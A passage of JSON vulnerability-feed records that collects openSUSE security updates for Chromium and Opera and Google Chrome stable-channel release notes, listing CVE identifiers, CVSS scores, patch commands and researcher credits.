"accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-10-15T00:00:00", "id": "OPENSUSE-SU-2021:1358-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/JAX3Q57Z6FBAZI5TMEFWFYPK5JXVPRKE/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T19:34:23", "description": "An update that fixes 7 vulnerabilities is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n Chromium 95.0.4638.69 (boo#1192184):\n\n * CVE-2021-37997: Use after free in Sign-In\n * CVE-2021-37998: Use after free in Garbage Collection\n * CVE-2021-37999: Insufficient data validation in New Tab Page\n * CVE-2021-38000: Insufficient validation of untrusted input in Intents\n * CVE-2021-38001: Type Confusion in V8\n * CVE-2021-38002: Use after free in Web Transport\n * CVE-2021-38003: Inappropriate implementation in V8\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1462=1\n\n - openSUSE Backports SLE-15-SP3:\n\n zypper in -t patch openSUSE-2021-1462=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-11-08T00:00:00", "type": "suse", "title": "Security update for chromium (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37997", "CVE-2021-37998", "CVE-2021-37999", "CVE-2021-38000", "CVE-2021-38001", "CVE-2021-38002", "CVE-2021-38003"], "modified": "2021-11-08T00:00:00", "id": "OPENSUSE-SU-2021:1462-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/LILU2Q77SAPFWPTS2P4ZOLY6WZ3NJCJN/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T17:58:45", "description": "An update that fixes 7 vulnerabilities is now available.\n\nDescription:\n\n This update for opera fixes the following issues:\n\n Update to version 76.0.4017.94\n\n - released on the stable branch\n\n Update to version 76.0.4017.88\n\n - CHR-8404 Update chromium on desktop-stable-90-4017 to 90.0.4430.85\n - DNA-92219 Add bookmark API supports to the front-end\n - DNA-92409 [MAC] \ufffd\ufffd\ufffdPresent now\ufffd\ufffd\ufffd options windows appear behind\n detached window\n - DNA-92615 Capture tab from the tab context menu\n - DNA-92616 Capture tab from Snapshot\n - DNA-92617 Capture tab from image context menu\n - DNA-92652 Opera 76 translations\n - DNA-92680 Make image selector on any page work like bookmarks popup WP2\n - DNA-92707 Crash at void base::ObserverList::AddObserver(class\n content::PrerenderHost::Observer*)\n - DNA-92710 Autoupdate on macOS 11.3 not working\n - DNA-92711 Make image selector on any page work like bookmarks popup WP3\n - DNA-92730 Make image selector on any page work like bookmarks popup WP4\n - DNA-92761 Make image selector on any page work like bookmarks popup WP5\n - DNA-92776 Make image selector on any page work like bookmarks popup WP6\n - DNA-92862 Make \ufffd\ufffd\ufffdView pinboards\ufffd\ufffd\ufffd button work\n - DNA-92906 Provide in-house translations for Cashback strings to Spanish\n - DNA-92908 API collides with oneclick installer\n - The update to chromium 90.0.4430.85 fixes following issues:\n - CVE-2021-21222, CVE-2021-21223, CVE-2021-21224, CVE-2021-21225,\n CVE-2021-21226\n\n - Complete Opera 76.0 changelog at:\n https://blogs.opera.com/desktop/changelog-for-76/\n\n Update to version 75.0.3969.218\n\n - CHR-8393 Update chromium on desktop-stable-89-3969 to 89.0.4389.128\n - DNA-92113 Windows debug fails to compile\n opera_components/ipfs/ipfs/ipfs_url_loader_throttle.obj\n - DNA-92198 [Arm] Update signing scripts\n - DNA-92200 [Arm] Create universal packages from two buildsets\n - DNA-92338 [Search tabs] The preview isn\ufffd\ufffd\ufffdt updated when the tab from\n another window is closed\n - DNA-92410 [Download popup] Selected item still looks bad in dark mode\n - DNA-92441 Compilation error\n - DNA-92514 Allow to generate universal DMG package from existing\n universal .tar.xz\n - DNA-92608 Opera 75 crash during rapid workspace switching\n - DNA-92627 Crash at automation::Error::code()\n - DNA-92630 Crash at\n opera::PremiumExtensionPersistentPrefStorageImpl::IsPremiumExtensionFeature\n Enabled()\n - DNA-92648 Amazon icon disappears from Sidebar Extensions section after\n pressing Hide Amazon button\n - DNA-92681 Add missing string in Japanese\n - DNA-92684 Fix issues with signing multiple bsids\n - DNA-92706 Update repack generation from universal packages\n - DNA-92725 Enable IPFS for all channels\n\n - The update to chromium 89.0.4389.128 fixes following issues:\n CVE-2021-21206, CVE-2021-21220\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:NonFree:\n\n zypper in -t patch openSUSE-2021-712=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-05-11T00:00:00", "type": "suse", "title": "Security update for opera (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21222", "CVE-2021-21223", "CVE-2021-21224", "CVE-2021-21225", "CVE-2021-21226"], "modified": "2021-05-11T00:00:00", "id": "OPENSUSE-SU-2021:0712-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/UVVTKODULIJ72SWD273BSN4VWATWGOOD/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T12:09:24", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for opera fixes the following issues:\n\n - Update to version 74.0.3911.107\n - CHR-8311 Update chromium on desktop-stable-88-3911 to 88.0.4324.150\n - DNA-90329 Implement client_capabilities negotiation for Flow / Sync\n - DNA-90560 [Search Tabs] Open Tabs On Top\n - DNA-90620 Add opauto tests for tab snoozing\n - DNA-90628 Update opauto tests after design changes\n - DNA-90818 Only 3 recently closed tabs are shown in a search mode\n - DNA-90911 Enable search-tabs-open-tabs-on-top on developer\n - DNA-90990 Crash at opera::AddressBarView::NotifyBoundsChanged()\n - DNA-90991 Opera doesn\ufffd\ufffd\ufffdt show version and \ufffd\ufffd\ufffdRelaunch\ufffd\ufffd\ufffd button\n despite update is ready\n - DNA-91097 Crash at extensions::BrowserSidebarPrivateGetPremium\n ExtensionsInfoFunction::Run()\n - DNA-91163 [Win] \ufffd\ufffd\ufffdURL navigation filters\ufffd\ufffd\ufffd subpage doesn\ufffd\ufffd\ufffdt react\n on actions\n - DNA-91196 [Flow] Device capabilities is not properly saved in Local\n State\n - DNA-91276 Sidebar setup wont open\n - The update to chromium 88.0.4324.150 fixes following issues:\n - CVE-2021-21148 (1181827)\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:NonFree:\n\n zypper in -t patch openSUSE-2021-296=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-15T00:00:00", "type": "suse", "title": "Security update for opera (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-15T00:00:00", "id": "OPENSUSE-SU-2021:0296-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/J3D452OYQTKXJQRO2OWRU5IM6SC2Y3TK/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T12:09:24", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n Update to 88.0.4324.150 boo#1181827\n\n - CVE-2021-21148: Heap buffer overflow in V8\n\n This update was imported from the openSUSE:Leap:15.2:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Backports SLE-15-SP2:\n\n zypper in -t patch openSUSE-2021-276=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-11T00:00:00", "type": "suse", "title": "Security update for chromium (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-11T00:00:00", "id": "OPENSUSE-SU-2021:0276-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/WRRV235H6DBC62DZZGTBUASQEOYUJUOQ/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-09T21:01:14", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n Update to 88.0.4324.150 boo#1181827\n\n - CVE-2021-21148: Heap buffer overflow in V8\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-267=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "suse", "title": "Security update for chromium (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T00:00:00", "id": "OPENSUSE-SU-2021:0267-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/BZEZQO2PMEYX4NTXGJYF3SK3LVAZ4AS2/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "chrome": [{"lastseen": "2021-12-30T22:31:22", "description": "The Stable channel has been updated to 89.0.4389.128 for Windows, Mac and Linux which will roll out over the coming days/weeks.\n\n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/89.0.4389.114..89.0.4389.128?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\n\n\n\nThis update includes [2](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-4-M89>) security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the [Chrome Security Page](<https://sites.google.com/a/chromium.org/dev/Home/chromium-security>) for more information.\n\n\n\n\n[$TBD][[1196781](<https://crbug.com/1196781>)] High CVE-2021-21206: Use after free in Blink. Reported by Anonymous on 2021-04-07\n\n[$N/A][[1196683](<https://crbug.com/1196683>)] High CVE-2021-21220: Insufficient validation of untrusted input in V8 for x86_64. Reported by Bruno Keith (@bkth_) & Niklas Baumstark (@_niklasb) of Dataflow Security (@dfsec_it) via ZDI (ZDI-CAN-13569) on 2021-04-07\n\n\n\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel. \n\nGoogle is aware of reports that exploits for CVE-2021-21206 and CVE-2021-21220 exist in the wild.\n\n\n\n\nMany of our security bugs are detected using [AddressSanitizer](<https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer>), [MemorySanitizer](<https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer>), [UndefinedBehaviorSanitizer](<https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer>), [Control Flow Integrity](<https://sites.google.com/a/chromium.org/dev/developers/testing/control-flow-integrity>), [libFuzzer](<https://sites.google.com/a/chromium.org/dev/developers/testing/libfuzzer>), or [AFL](<https://github.com/google/afl>).\n\n\n\n\nPrudhvikumar Bommana\n\nGoogle Chrome", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2021-04-13T00:00:00", "id": "GCSA-3185915322248637110", "href": "https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-30T22:31:08", "description": "The Stable channel has been updated to 94.0.4606.71 for Windows, Mac and Linux which will roll out over the coming days/weeks. Extended stable channel has also been updated to 94.0.4606.71 for Windows and Mac which will roll out over the coming days/weeks\n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/94.0.4606.61..94.0.4606.71?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\nThis update includes [4](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-2-M94>) security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the [Chrome Security Page](<https://sites.google.com/a/chromium.org/dev/Home/chromium-security>) for more information.\n\n[$20000][[1245578](<https://crbug.com/1245578>)] High CVE-2021-37974 : Use after free in Safe Browsing. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi'anxin Group on 2021-09-01\n\n[$TBD][[1252918](<https://crbug.com/1252918>)] High CVE-2021-37975 : Use after free in V8. Reported by Anonymous on 2021-09-24 \n\n\n[$NA][[1251787](<https://crbug.com/1251787>)] Medium CVE-2021-37976 : Information leak in core. Reported by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero on 2021-09-21\n\n\n\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel. \n\n\n\nGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild. \n\n\nAs usual, our ongoing internal security work was responsible for a wide range of fixes:\n\n * [[1254756](<https://crbug.com/1254756>)] Various fixes from internal audits, fuzzing and other initiatives\n\n\nMany of our security bugs are detected using [AddressSanitizer](<https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer>), [MemorySanitizer](<https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer>), [UndefinedBehaviorSanitizer](<https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer>), [Control Flow Integrity](<https://sites.google.com/a/chromium.org/dev/developers/testing/control-flow-integrity>), [libFuzzer](<https://sites.google.com/a/chromium.org/dev/developers/testing/libfuzzer>), or [AFL](<https://github.com/google/afl>).\n\n\n\n\nInterested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\n\nSrinivas Sista\n\nGoogle Chrome", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-30T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-09-30T00:00:00", "id": "GCSA-2371492188806762489", "href": "https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-30T22:31:08", "description": "The Stable channel has been updated to 95.0.4638.69 for Windows, Mac and Linux which will roll out over the coming days/weeks. \n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/95.0.4638.54..95.0.4638.69?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\n** \n**\n\nThis update includes [9](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-1-M95>) security fixes. Below, we highlight fixes that were contributed by external researchers. Please see the [Chrome Security Page](<https://sites.google.com/a/chromium.org/dev/Home/chromium-security>) for more information.\n\n** \n**\n\n[$10000][[1259864](<https://crbug.com/1259864>)] High CVE-2021-37997 : Use after free in Sign-In. Reported by Wei Yuan of MoyunSec VLab on 2021-10-14\n\n[$7500][[1259587](<https://crbug.com/1259587>)] High CVE-2021-37998 : Use after free in Garbage Collection. Reported by Cassidy Kim of Amber Security Lab, OPPO Mobile Telecommunications Corp. Ltd. on 2021-10-13\n\n[$1000][[1251541](<https://crbug.com/1251541>)] High CVE-2021-37999 : Insufficient data validation in New Tab Page. Reported by Ashish Arun Dhone on 2021-09-21\n\n[$N/A][[1249962](<https://crbug.com/1249962>)] High CVE-2021-38000 : Insufficient validation of untrusted input in Intents. Reported by Clement Lecigne, Neel Mehta, and Maddie Stone of Google Threat Analysis Group on 2021-09-15\n\n[$N/A][[1260577](<https://crbug.com/1260577>)] High CVE-2021-38001 : Type Confusion in V8. Reported by @s0rrymybad of Kunlun Lab via Tianfu Cup on 2021-10-16\n\n[$N/A][[1260940](<https://crbug.com/1260940>)] High CVE-2021-38002 : Use after free in Web Transport. Reported by @__R0ng of 360 Alpha Lab, \u6f0f\u6d1e\u7814\u7a76\u9662\u9752\u8bad\u961f via Tianfu Cup on 2021-10-16\n\n[$N/A][[1263462](<https://crbug.com/1263462>)] High CVE-2021-38003 : Inappropriate implementation in V8. Reported by Cl\u00e9ment Lecigne from Google TAG and Samuel Gro\u00df from Google Project Zero on 2021-10-26\n\n[$5000][[1227170](<https://crbug.com/1227170>)] Medium CVE-2021-38004 : Insufficient policy enforcement in Autofill. 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Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\n\nPrudhvikumar Bommana\n\nGoogle Chrome", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-28T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37997", "CVE-2021-37998", "CVE-2021-37999", "CVE-2021-38000", "CVE-2021-38001", "CVE-2021-38002", "CVE-2021-38003", "CVE-2021-38004"], "modified": "2021-10-28T00:00:00", "id": "GCSA-8146707100851062467", "href": "https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-30T22:31:11", "description": "The Stable channel has been updated to 94.0.4606.61 for Windows, Mac and Linux which will roll out over the coming days/weeks\n\n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/94.0.4606.54..94.0.4606.61?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\n\n\n\nThis update includes [1](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-1-M94>) security fix. Below, we highlight fixes that were contributed by external researchers. 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Reported by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero on 2021-09-21\n\n\n\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel. \n\nGoogle is aware that an exploit for CVE-2021-37973 exists in the wild. \n\n\n\n\nMany of our security bugs are detected using [AddressSanitizer](<https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer>), [MemorySanitizer](<https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer>), [UndefinedBehaviorSanitizer](<https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer>), [Control Flow Integrity](<https://sites.google.com/a/chromium.org/dev/developers/testing/control-flow-integrity>), [libFuzzer](<https://sites.google.com/a/chromium.org/dev/developers/testing/libfuzzer>), or [AFL](<https://github.com/google/afl>).\n\n\n\n\nInterested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\n\nSrinivas Sista\n\nGoogle Chrome", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.6, "privilegesRequired": "NONE", "vectorString": 